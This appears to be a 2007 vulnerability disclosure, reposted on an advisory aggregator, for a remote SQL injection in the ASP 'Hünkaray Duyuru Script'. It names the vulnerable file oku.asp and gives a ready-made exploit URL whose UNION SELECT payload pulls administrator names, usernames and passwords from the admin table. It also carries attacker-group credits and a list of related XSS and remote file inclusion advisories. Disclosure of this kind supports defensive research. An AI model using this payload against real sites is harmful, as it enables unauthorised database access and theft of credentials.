Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Full-disclosure] Wordpress default theme XSS (admin) and other problems

phpWebThings ==>1.5.2 RFI

Zen Help Desk ==> Version 2.1 Bypass/

PHPMyDesk  Beta Release 1.0b ==> RFI

From:	Dj_ReMix_20_(at)_hotmail.com <Dj_ReMix_20_(at)_hotmail.com>
Date:	11.06.2007
Subject:	Hnkaray Duyuru Script Remote SQL İnjection

##################################################

$ Script Name : Hьnkaray Duyuru Script

$ Script Download :http://www.aspindir.com/Goster/4678

$ Author :RMx

$ HomePage :www.BiyoSecurity.NET

$ Vulnerable File : oku.asp

$ Exploit : http://www.example.com/[PATH]/oku.asp?id=-1 union+select+id,adi,kullaniciadi,sifre+from+admin

$ Thanks All BiyoSecurity.NET Admins

##################################################